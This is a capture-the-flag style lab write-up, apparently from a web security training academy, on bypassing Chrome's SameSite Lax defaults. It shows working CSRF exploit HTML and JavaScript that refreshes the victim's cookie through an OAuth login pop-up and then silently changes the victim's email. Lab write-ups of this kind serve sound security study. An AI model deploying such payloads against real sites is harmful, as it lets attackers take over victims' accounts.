SameSite Lax bypass via cookie refresh
Description
This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
Approach
After accessing the lab, I tried to log in with Wiener's credentials and noticed it uses OAuth-based login. After logging in, I attempted to change my email to see what the request looked like:
POST /my-account/change-email HTTP/2
Host: 0ad600be03a35cce819e4d97007a0016.web-security-academy.net
Cookie: session=hhdB29jksyjDP3bwvguUtC85oLcEpSr7
...
email=qwe%40qwe.com
s I observed, there were no anti-CSRF tokens to protect against CSRF, indicating that /change-email
is likely vulnerable to CSRF attacks. I then checked for any SameSite protections by examining various requests and responses but found none. This led me to conclude that since the website doesn't set a SameSite attribute for cookies, the browser applies the default Lax protection. Given that the victim uses Chrome, which defaults to Lax, there is a notable gap: Chrome doesn't apply these restrictions for the first 120 seconds on top-level POST requests.
To exploit this, I devised a plan to make the victim reload a page that ensures they are redirected to the OAuth-based login to get a new cookie and start the 120-second timer. This needs to be done in a different window of my exploit so as not to interrupt the CSRF exploit. The /social-login
endpoint redirects users to the OAuth-based login, making it useful for my attack.
Here is my initial exploit:
<form method="POST" action="https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@qwe.qwe">
</form>
<script>
window.open('https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
However, when testing, I noticed the browser blocked the prompt for a new window. To bypass this, I modified the script to wait for a user interaction, such as a click, to open the new window:
<form method="POST" action="https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@qwe.qwe">
</form>
<script>
window.onclick = () => {
window.open('https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail(){
document.forms[0].submit();
}
</script>
This timer waits for access to the OAuth-based login and the acquisition of a new cookie. After storing and delivering this exploit to the victim, I observed that the lab was solved, confirming the email change of the victim.